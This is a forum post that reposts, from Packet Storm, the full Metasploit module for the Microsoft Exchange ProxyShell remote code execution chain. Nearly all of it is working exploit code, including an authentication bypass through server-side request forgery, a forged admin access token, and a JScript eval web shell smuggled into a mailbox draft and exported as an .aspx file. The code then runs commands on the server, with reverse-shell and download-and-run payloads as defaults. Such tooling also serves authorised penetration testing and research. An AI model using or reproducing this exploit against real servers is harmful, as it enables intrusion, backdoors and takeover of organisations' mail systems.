Microsoft Exchange ProxyShell Remote Code Execution

#186
Topic created · 1 Posts · 3 Views
  • This Metasploit module exploits a vulnerability on Microsoft Exchange Server that allows an attacker to bypass the authentication, impersonate an arbitrary user, and write an arbitrary file to achieve remote code execution. By taking advantage of this vulnerability, you can execute arbitrary commands on the remote Microsoft Exchange Server. This vulnerability affects Exchange 2013 CU23 versions before 15.0.1497.15, Exchange 2016 CU19 versions before 15.1.2176.12, Exchange 2016 CU20 versions before 15.1.2242.5, Exchange 2019 CU8 versions before 15.2.792.13, and Exchange 2019 CU9 versions before 15.2.858.9.
    MD5 | 8c1644733fd3fd7cb69deb16d2b4379f
    Download

    ##  
    # This module requires Metasploit: https://metasploit.com/download  
    # Current source: https://github.com/rapid7/metasploit-framework  
    ##  
    require 'winrm'  
    class MetasploitModule < Msf::Exploit::Remote  
    Rank = ExcellentRanking  
    prepend Msf::Exploit::Remote::AutoCheck  
    include Msf::Exploit::CmdStager  
    include Msf::Exploit::FileDropper  
    include Msf::Exploit::Powershell  
    include Msf::Exploit::Remote::HttpClient  
    include Msf::Exploit::EXE  
    def initialize(info = {})  
    super(  
    update_info(  
    info,  
    'Name' => 'Microsoft Exchange ProxyShell RCE',  
    'Description' => %q{  
    This module exploit a vulnerability on Microsoft Exchange Server that  
    allows an attacker to bypass the authentication (CVE-2021-31207), impersonate an  
    arbitrary user (CVE-2021-34523) and write an arbitrary file (CVE-2021-34473) to achieve  
    the RCE (Remote Code Execution).  
    By taking advantage of this vulnerability, you can execute arbitrary  
    commands on the remote Microsoft Exchange Server.  
    This vulnerability affects Exchange 2013 CU23 < 15.0.1497.15,  
    Exchange 2016 CU19 < 15.1.2176.12, Exchange 2016 CU20 < 15.1.2242.5,  
    Exchange 2019 CU8 < 15.2.792.13, Exchange 2019 CU9 < 15.2.858.9.  
    All components are vulnerable by default.  
    },  
    'Author' => [  
    'Orange Tsai', # Discovery  
    'Jang (@testanull)', # Vulnerability analysis  
    'PeterJson', # Vulnerability analysis  
    'brandonshi123', # Vulnerability analysis  
    'mekhalleh (RAMELLA Sébastien)', # exchange_proxylogon_rce template  
    'Spencer McIntyre', # Metasploit module  
    'wvu' # Testing  
    ],  
    'References' => [  
    [ 'CVE', '2021-34473' ],  
    [ 'CVE', '2021-34523' ],  
    [ 'CVE', '2021-31207' ],  
    [ 'URL', 'https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1' ],  
    [ 'URL', 'https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf' ],  
    [ 'URL', 'https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/' ]  
    ],  
    'DisclosureDate' => '2021-04-06', # pwn2own 2021  
    'License' => MSF_LICENSE,  
    'DefaultOptions' => {  
    'RPORT' => 443,  
    'SSL' => true  
    },  
    'Platform' => ['windows'],  
    'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],  
    'Privileged' => true,  
    'Targets' => [  
    [  
    'Windows Powershell',  
    {  
    'Platform' => 'windows',  
    'Arch' => [ARCH_X64, ARCH_X86],  
    'Type' => :windows_powershell,  
    'DefaultOptions' => {  
    'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'  
    }  
    }  
    ],  
    [  
    'Windows Dropper',  
    {  
    'Platform' => 'windows',  
    'Arch' => [ARCH_X64, ARCH_X86],  
    'Type' => :windows_dropper,  
    'CmdStagerFlavor' => %i[psh_invokewebrequest],  
    'DefaultOptions' => {  
    'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',  
    'CMDSTAGER::FLAVOR' => 'psh_invokewebrequest'  
    }  
    }  
    ],  
    [  
    'Windows Command',  
    {  
    'Platform' => 'windows',  
    'Arch' => [ARCH_CMD],  
    'Type' => :windows_command,  
    'DefaultOptions' => {  
    'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'  
    }  
    }  
    ]  
    ],  
    'DefaultTarget' => 0,  
    'Notes' => {  
    'Stability' => [CRASH_SAFE],  
    'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],  
    'AKA' => ['ProxyShell'],  
    'Reliability' => [REPEATABLE_SESSION]  
    }  
    )  
    )  
    register_options([  
    OptString.new('EMAIL', [true, 'A known email address for this organization']),  
    OptBool.new('UseAlternatePath', [true, 'Use the IIS root dir as alternate path', false]),  
    ])  
    register_advanced_options([  
    OptString.new('BackendServerName', [false, 'Force the name of the backend Exchange server targeted']),  
    OptString.new('ExchangeBasePath', [true, 'The base path where exchange is installed', 'C:\\Program Files\\Microsoft\\Exchange Server\\V15']),  
    OptString.new('ExchangeWritePath', [true, 'The path where you want to write the backdoor', 'owa\\auth']),  
    OptString.new('IISBasePath', [true, 'The base path where IIS wwwroot directory is', 'C:\\inetpub\\wwwroot']),  
    OptString.new('IISWritePath', [true, 'The path where you want to write the backdoor', 'aspnet_client']),  
    OptString.new('MapiClientApp', [true, 'This is MAPI client version sent in the request', 'Outlook/15.0.4815.1002']),  
    OptString.new('UserAgent', [true, 'The HTTP User-Agent sent in the request', 'Mozilla/5.0'])  
    ])  
    end  
    def check  
    @ssrf_email ||= Faker::Internet.email  
    res = send_http('GET', '/mapi/nspi/')  
    return CheckCode::Unknown if res.nil?  
    return CheckCode::Safe unless res.code == 200 && res.get_html_document.xpath('//head/title').text == 'Exchange MAPI/HTTP Connectivity Endpoint'  
    CheckCode::Vulnerable  
    end  
    def cmd_windows_generic?  
    datastore['PAYLOAD'] == 'cmd/windows/generic'  
    end  
    def encode_cmd(cmd)  
    cmd.gsub!('\\', '\\\\\\')  
    cmd.gsub('"', '\u0022').gsub('&', '\u0026').gsub('+', '\u002b')  
    end  
    def random_mapi_id  
    id = "{#{Rex::Text.rand_text_hex(8)}"  
    id = "#{id}-#{Rex::Text.rand_text_hex(4)}"  
    id = "#{id}-#{Rex::Text.rand_text_hex(4)}"  
    id = "#{id}-#{Rex::Text.rand_text_hex(4)}"  
    id = "#{id}-#{Rex::Text.rand_text_hex(12)}}"  
    id.upcase  
    end  
    def request_autodiscover(_server_name)  
    xmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' }  
    response = send_http(  
    'POST',  
    '/autodiscover/autodiscover.xml',  
    data: soap_autodiscover,  
    ctype: 'text/xml; charset=utf-8'  
    )  
    case response.body  
    when %r{<ErrorCode>500</ErrorCode>}  
    fail_with(Failure::NotFound, 'No Autodiscover information was found')  
    when %r{<Action>redirectAddr</Action>}  
    fail_with(Failure::NotFound, 'No email address was found')  
    end  
    xml = Nokogiri::XML.parse(response.body)  
    legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content  
    fail_with(Failure::NotFound, 'No \'LegacyDN\' was found') if legacy_dn.nil? || legacy_dn.empty?  
    server = ''  
    xml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item|  
    type = item.at_xpath('./xmlns:Type', xmlns)&.content  
    if type == 'EXCH'  
    server = item.at_xpath('./xmlns:Server', xmlns)&.content  
    end  
    end  
    fail_with(Failure::NotFound, 'No \'Server ID\' was found') if server.nil? || server.empty?  
    { server: server, legacy_dn: legacy_dn }  
    end  
    def request_fqdn  
    ntlm_ssp = "NTLMSSP\x00\x01\x00\x00\x00\x05\x02\x88\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
    received = send_request_raw(  
    'method' => 'RPC_IN_DATA',  
    'uri' => normalize_uri('rpc', 'rpcproxy.dll'),  
    'headers' => {  
    'Authorization' => "NTLM #{Rex::Text.encode_base64(ntlm_ssp)}"  
    }  
    )  
    fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received  
    if received.code == 401 && received['WWW-Authenticate'] && received['WWW-Authenticate'].match(/^NTLM/i)  
    hash = received['WWW-Authenticate'].split('NTLM ')[1]  
    message = Net::NTLM::Message.parse(Rex::Text.decode_base64(hash))  
    dns_server = Net::NTLM::TargetInfo.new(message.target_info).av_pairs[Net::NTLM::TargetInfo::MSV_AV_DNS_COMPUTER_NAME]  
    return dns_server.force_encoding('UTF-16LE').encode('UTF-8').downcase  
    end  
    fail_with(Failure::NotFound, 'No Backend server was found')  
    end  
    # https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxcmapihttp/c245390b-b115-46f8-bc71-03dce4a34bff  
    def request_mapi(_server_name, legacy_dn)  
    data = "#{legacy_dn}\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"  
    headers = {  
    'X-RequestType' => 'Connect',  
    'X-ClientInfo' => random_mapi_id,  
    'X-ClientApplication' => datastore['MapiClientApp'],  
    'X-RequestId' => "#{random_mapi_id}:#{Rex::Text.rand_text_numeric(5)}"  
    }  
    sid = ''  
    response = send_http(  
    'POST',  
    '/mapi/emsmdb',  
    data: data,  
    ctype: 'application/mapi-http',  
    headers: headers  
    )  
    if response&.code == 200  
    sid = response.body.match(/S-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*/).to_s  
    end  
    fail_with(Failure::NotFound, 'No \'SID\' was found') if sid.empty?  
    sid  
    end  
    # pre-authentication SSRF (Server Side Request Forgery) + impersonate as admin.  
    def run_cve_2021_34473  
    if datastore['BackendServerName'] && !datastore['BackendServerName'].empty?  
    server_name = datastore['BackendServerName']  
    print_status("Internal server name forced to: #{server_name}")  
    else  
    print_status('Retrieving backend FQDN over RPC request')  
    server_name = request_fqdn  
    print_status("Internal server name: #{server_name}")  
    end  
    @backend_server_name = server_name  
    # get information via an autodiscover request.  
    print_status('Sending autodiscover request')  
    autodiscover = request_autodiscover(server_name)  
    print_status("Server: #{autodiscover[:server]}")  
    print_status("LegacyDN: #{autodiscover[:legacy_dn]}")  
    # get the user UID using mapi request.  
    print_status('Sending mapi request')  
    mailbox_user_sid = request_mapi(server_name, autodiscover[:legacy_dn])  
    print_status("SID: #{mailbox_user_sid} (#{datastore['EMAIL']})")  
    send_payload(mailbox_user_sid)  
    @common_access_token = build_token(mailbox_user_sid)  
    end  
    def send_http(method, uri, opts = {})  
    ssrf = "Autodiscover/autodiscover.json?a=#{@ssrf_email}"  
    unless opts[:cookie] == :none  
    opts[:cookie] = "Email=#{ssrf}"  
    end  
    request = {  
    'method' => method,  
    'uri' => "/#{ssrf}#{uri}",  
    'agent' => datastore['UserAgent'],  
    'ctype' => opts[:ctype],  
    'headers' => { 'Accept' => '*/*', 'Cache-Control' => 'no-cache', 'Connection' => 'keep-alive' }  
    }  
    request = request.merge({ 'data' => opts[:data] }) unless opts[:data].nil?  
    request = request.merge({ 'cookie' => opts[:cookie] }) unless opts[:cookie].nil?  
    request = request.merge({ 'headers' => opts[:headers] }) unless opts[:headers].nil?  
    received = send_request_cgi(request)  
    fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received  
    received  
    end  
    def send_payload(user_sid)  
    @shell_input_name = rand_text_alphanumeric(8..12)  
    @draft_subject = rand_text_alphanumeric(8..12)  
    payload = Rex::Text.encode_base64(PstEncoding.encode("#<script language=\"JScript\" runat=\"server\">function Page_Load(){eval(Request[\"#{@shell_input_name}\"],\"unsafe\");}</script>"))  
    file_name = "#{Faker::Lorem.word}#{%w[- _].sample}#{Faker::Lorem.word}.#{%w[rtf pdf docx xlsx pptx zip].sample}"  
    envelope = XMLTemplate.render('soap_draft', user_sid: user_sid, file_content: payload, file_name: file_name, subject: @draft_subject)  
    send_http('POST', '/ews/exchange.asmx', data: envelope, ctype: 'text/xml;charset=UTF-8')  
    end  
    def soap_autodiscover  
    <<~SOAP  
    <?xml version="1.0" encoding="utf-8"?>  
    <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">  
    <Request>  
    <EMailAddress>#{datastore['EMAIL'].encode(xml: :text)}</EMailAddress>  
    <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>  
    </Request>  
    </Autodiscover>  
    SOAP  
    end  
    def web_directory  
    if datastore['UseAlternatePath']  
    datastore['IISWritePath'].gsub('\\', '/')  
    else  
    datastore['ExchangeWritePath'].gsub('\\', '/')  
    end  
    end  
    def build_token(sid)  
    uint8_tlv = proc do |type, value|  
    type + [value.length].pack('C') + value  
    end  
    token = uint8_tlv.call('V', "\x00")  
    token << uint8_tlv.call('T', 'Windows')  
    token << "\x43\x00"  
    token << uint8_tlv.call('A', 'Kerberos')  
    token << uint8_tlv.call('L', datastore['EMAIL'])  
    token << uint8_tlv.call('U', sid)  
    # group data for S-1-5-32-544  
    token << "\x47\x01\x00\x00\x00\x07\x00\x00\x00\x0c\x53\x2d\x31\x2d\x35\x2d\x33\x32\x2d\x35\x34\x34\x45\x00\x00\x00\x00"  
    Rex::Text.encode_base64(token)  
    end  
    def execute_powershell(cmdlet, args: [])  
    winrm = SSRFWinRMConnection.new({  
    endpoint: full_uri('PowerShell/'),  
    transport: :ssrf,  
    ssrf_proc: proc do |method, uri, opts|  
    uri = "#{uri}?X-Rps-CAT=#{@common_access_token}"  
    uri << "&Email=Autodiscover/autodiscover.json?a=#{@ssrf_email}"  
    opts[:cookie] = :none  
    opts[:data].gsub!(  
    %r{<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>(.*?)</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>},  
    "<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>http://127.0.0.1/PowerShell/</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>"  
    )  
    opts[:data].gsub!(  
    %r{<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI mustUnderstand="true">(.*?)</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>},  
    "<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>http://schemas.microsoft.com/powershell/Microsoft.Exchange</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>"  
    )  
    send_http(method, uri, opts)  
    end  
    })  
    winrm.shell(:powershell) do |shell|  
    shell.instance_variable_set(:@max_fragment_blob_size, WinRM::PSRP::MessageFragmenter::DEFAULT_BLOB_LENGTH)  
    shell.extend(SSRFWinRMConnection::PowerShell)  
    shell.run({ cmdlet: cmdlet, args: args })  
    end  
    end  
    def exploit  
    @ssrf_email ||= Faker::Internet.email  
    print_status('Attempt to exploit for CVE-2021-34473')  
    run_cve_2021_34473  
    powershell_probe = send_http('GET', "/PowerShell/?X-Rps-CAT=#{@common_access_token}&Email=Autodiscover/autodiscover.json?a=#{@ssrf_email}", cookie: :none)  
    fail_with(Failure::UnexpectedReply, 'Failed to access the PowerShell backend') unless powershell_probe&.code == 200  
    print_status('Assigning the \'Mailbox Import Export\' role')  
    execute_powershell('New-ManagementRoleAssignment', args: [ { name: '-Role', value: 'Mailbox Import Export' }, { name: '-User', value: datastore['EMAIL'] } ])  
    @shell_filename = "#{rand_text_alphanumeric(8..12)}.aspx"  
    if datastore['UseAlternatePath']  
    unc_path = "#{datastore['IISBasePath'].split(':')[1]}\\#{datastore['IISWritePath']}"  
    unc_path = "\\\\\\\\#{@backend_server_name}\\#{datastore['IISBasePath'].split(':')[0]}$#{unc_path}\\#{@shell_filename}"  
    else  
    unc_path = "#{datastore['ExchangeBasePath'].split(':')[1]}\\FrontEnd\\HttpProxy\\#{datastore['ExchangeWritePath']}"  
    unc_path = "\\\\\\\\#{@backend_server_name}\\#{datastore['ExchangeBasePath'].split(':')[0]}$#{unc_path}\\#{@shell_filename}"  
    end  
    normal_path = unc_path.gsub(/^\\+127\.0\.0\.1\\(.)\$\\/, '\1:\\')  
    print_status("Writing to: #{normal_path}")  
    register_file_for_cleanup(normal_path)  
    @export_name = rand_text_alphanumeric(8..12)  
    execute_powershell('New-MailboxExportRequest', args: [  
    { name: '-Name', value: @export_name },  
    { name: '-Mailbox', value: datastore['EMAIL'] },  
    { name: '-IncludeFolders', value: '#Drafts#' },  
    { name: '-ContentFilter', value: "(Subject -eq '#{@draft_subject}')" },  
    { name: '-ExcludeDumpster' },  
    { name: '-FilePath', value: unc_path }  
    ])  
    print_status('Waiting for the export request to complete...')  
    30.times do  
    if execute_command('whoami')&.code == 200  
    print_good('The mailbox export request has completed')  
    break  
    end  
    sleep 5  
    end  
    print_status('Triggering the payload')  
    case target['Type']  
    when :windows_command  
    vprint_status("Generated payload: #{payload.encoded}")  
    if !cmd_windows_generic?  
    execute_command(payload.encoded)  
    else  
    boundary = rand_text_alphanumeric(8..12)  
    response = execute_command("cmd /c echo START#{boundary}&#{payload.encoded}&echo END#{boundary}")  
    print_warning('Dumping command output in response')  
    if response.body =~ /START#{boundary}(.*)END#{boundary}/m  
    print_line(Regexp.last_match(1).strip)  
    else  
    print_error('Empty response, no command output')  
    end  
    end  
    when :windows_dropper  
    execute_command(generate_cmdstager(concat_operator: ';').join)  
    when :windows_powershell  
    cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)  
    execute_command(cmd)  
    end  
    end  
    def cleanup  
    super  
    return unless @common_access_token && @export_name  
    print_status('Removing the mailbox export request')  
    execute_powershell('Remove-MailboxExportRequest', args: [  
    { name: '-Identity', value: "#{datastore['EMAIL']}\\#{@export_name}" },  
    { name: '-Confirm', value: false }  
    ])  
    end  
    def execute_command(cmd, _opts = {})  
    if !cmd_windows_generic?  
    cmd = "Response.Write(new ActiveXObject(\"WScript.Shell\").Exec(\"#{encode_cmd(cmd)}\"));"  
    else  
    cmd = "Response.Write(new ActiveXObject(\"WScript.Shell\").Exec(\"#{encode_cmd(cmd)}\").StdOut.ReadAll());"  
    end  
    send_request_raw(  
    'method' => 'POST',  
    'uri' => normalize_uri(web_directory, @shell_filename),  
    'ctype' => 'application/x-www-form-urlencoded',  
    'data' => "#{@shell_input_name}=#{cmd}"  
    )  
    end  
    end  
    class PstEncoding  
    ENCODE_TABLE = [  
    71, 241, 180, 230, 11, 106, 114, 72,  
    133, 78, 158, 235, 226, 248, 148, 83,  
    224, 187, 160, 2, 232, 90, 9, 171,  
    219, 227, 186, 198, 124, 195, 16, 221,  
    57, 5, 150, 48, 245, 55, 96, 130,  
    140, 201, 19, 74, 107, 29, 243, 251,  
    143, 38, 151, 202, 145, 23, 1, 196,  
    50, 45, 110, 49, 149, 255, 217, 35,  
    209, 0, 94, 121, 220, 68, 59, 26,  
    40, 197, 97, 87, 32, 144, 61, 131,  
    185, 67, 190, 103, 210, 70, 66, 118,  
    192, 109, 91, 126, 178, 15, 22, 41,  
    60, 169, 3, 84, 13, 218, 93, 223,  
    246, 183, 199, 98, 205, 141, 6, 211,  
    105, 92, 134, 214, 20, 247, 165, 102,  
    117, 172, 177, 233, 69, 33, 112, 12,  
    135, 159, 116, 164, 34, 76, 111, 191,  
    31, 86, 170, 46, 179, 120, 51, 80,  
    176, 163, 146, 188, 207, 25, 28, 167,  
    99, 203, 30, 77, 62, 75, 27, 155,  
    79, 231, 240, 238, 173, 58, 181, 89,  
    4, 234, 64, 85, 37, 81, 229, 122,  
    137, 56, 104, 82, 123, 252, 39, 174,  
    215, 189, 250, 7, 244, 204, 142, 95,  
    239, 53, 156, 132, 43, 21, 213, 119,  
    52, 73, 182, 18, 10, 127, 113, 136,  
    253, 157, 24, 65, 125, 147, 216, 88,  
    44, 206, 254, 36, 175, 222, 184, 54,  
    200, 161, 128, 166, 153, 152, 168, 47,  
    14, 129, 101, 115, 228, 194, 162, 138,  
    212, 225, 17, 208, 8, 139, 42, 242,  
    237, 154, 100, 63, 193, 108, 249, 236  
    ].freeze  
    def self.encode(data)  
    encoded = ''  
    data.each_char do |char|  
    encoded << ENCODE_TABLE[char.ord].chr  
    end  
    encoded  
    end  
    end  
    class XMLTemplate  
    def self.render(template_name, context = nil)  
    file_path = ::File.join(::Msf::Config.data_directory, 'exploits', 'proxyshell', "#{template_name}.xml.erb")  
    template = ::File.binread(file_path)  
    case context  
    when Hash  
    b = binding  
    locals = context.collect { |k, _| "#{k} = context[#{k.inspect}]; " }  
    b.eval(locals.join)  
    else  
    raise ArgumentError  
    end  
    b.eval(Erubi::Engine.new(template).src)  
    end  
    end  
    class SSRFWinRMConnection < WinRM::Connection  
    class MessageFactory < WinRM::PSRP::MessageFactory  
    def self.create_pipeline_message(runspace_pool_id, pipeline_id, command)  
    WinRM::PSRP::Message.new(  
    runspace_pool_id,  
    WinRM::PSRP::Message::MESSAGE_TYPES[:create_pipeline],  
    XMLTemplate.render('create_pipeline', cmdlet: command[:cmdlet], args: command[:args]),  
    pipeline_id  
    )  
    end  
    end  
    # we have to define this class so we can define our own transport factory that provides one backed by the SSRF  
    # vulnerability  
    class TransportFactory < WinRM::HTTP::TransportFactory  
    class HttpSsrf < WinRM::HTTP::HttpTransport  
    # rubocop:disable Lint/  
    def initialize(endpoint, options)  
    @endpoint = endpoint.is_a?(String) ? URI.parse(endpoint) : endpoint  
    @ssrf_proc = options[:ssrf_proc]  
    end  
    def send_request(message)  
    resp = @ssrf_proc.call('POST', @endpoint.path, { ctype: 'application/soap+xml;charset=UTF-8', data: message })  
    WinRM::ResponseHandler.new(resp.body, resp.code).parse_to_xml  
    end  
    end  
    def create_transport(connection_opts)  
    raise NotImplementedError unless connection_opts[:transport] == :ssrf  
    super  
    end  
    private  
    def init_ssrf_transport(opts)  
    HttpSsrf.new(opts[:endpoint], opts)  
    end  
    end  
    module PowerShell  
    def send_command(command, _arguments)  
    command_id = SecureRandom.uuid.to_s.upcase  
    message = MessageFactory.create_pipeline_message(@runspace_id, command_id, command)  
    fragmenter.fragment(message) do |fragment|  
    command_args = [connection_opts, shell_id, command_id, fragment]  
    if fragment.start_fragment  
    resp_doc = transport.send_request(WinRM::WSMV::CreatePipeline.new(*command_args).build)  
    command_id = REXML::XPath.first(resp_doc, "//*[local-name() = 'CommandId']").text  
    else  
    transport.send_request(WinRM::WSMV::SendData.new(*command_args).build)  
    end  
    end  
    command_id  
    end  
    end  
    def initialize(connection_opts)  
    # these have to be set to truthy values to pass the option validation, but they're not actually used because hax  
    connection_opts.merge!({ user: :ssrf, password: :ssrf })  
    super(connection_opts)  
    end  
    def transport  
    @transport ||= begin  
    transport_factory = TransportFactory.new  
    transport_factory.create_transport(@connection_opts)  
    end  
    end  
    end  
    

    Source: packetstormsecurity.com

Log in to reply